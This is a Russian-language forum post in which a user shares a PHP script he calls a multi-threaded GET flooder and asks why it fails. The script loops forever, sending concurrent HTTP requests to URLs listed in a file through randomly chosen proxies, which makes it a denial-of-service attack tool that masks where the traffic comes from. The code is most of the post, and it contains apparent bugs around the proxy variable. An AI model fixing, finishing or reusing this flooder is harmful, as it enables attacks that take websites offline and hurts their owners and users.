SenderLV
Сообщений: 3
Оценки: 0
Присоединился: 2011-01-20 22:25:54.243333
|
Добрый день. Решил сделать много поточный пхп ГЕТ флудер на пхп с использованием прокси. Код брал с учебников по пхп :) Получилось такое
<?php
$urls = file("urls.txt");
$proxy = file("proxy.txt");
function multi_request($urls)
{
$curly = array();
$result = array();
$mh = curl_multi_init();
foreach ($urls as $id => $url) {
$curly[$id] = curl_init();
curl_setopt($curly[$id], CURLOPT_URL, $url);
curl_setopt($curly[$id], CURLOPT_HEADER, 0);
curl_setopt($curly[$id], CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curly[$id], CURLOPT_TIMEOUT, 30);
curl_setopt($curly[$id], CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curly[$id], CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($curly[$id], CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curly[$id], CURLOPT_PROXY, $proxy[rand(0,count($proxy))]);
curl_multi_add_handle($mh, $curly[$id]);
}
$running = null;
do {
curl_multi_exec($mh, $running);
} while($running > 0);
foreach($curly as $id => $c) {
$result[$id] = curl_multi_getcontent($c);
curl_multi_remove_handle($mh, $c);
}
curl_multi_close($mh);
//return $result;
}
for(;;){
multi_request($urls);
}
?>
Вроде как все правильно сделал, но не работает. Что не так с моим кодом?
|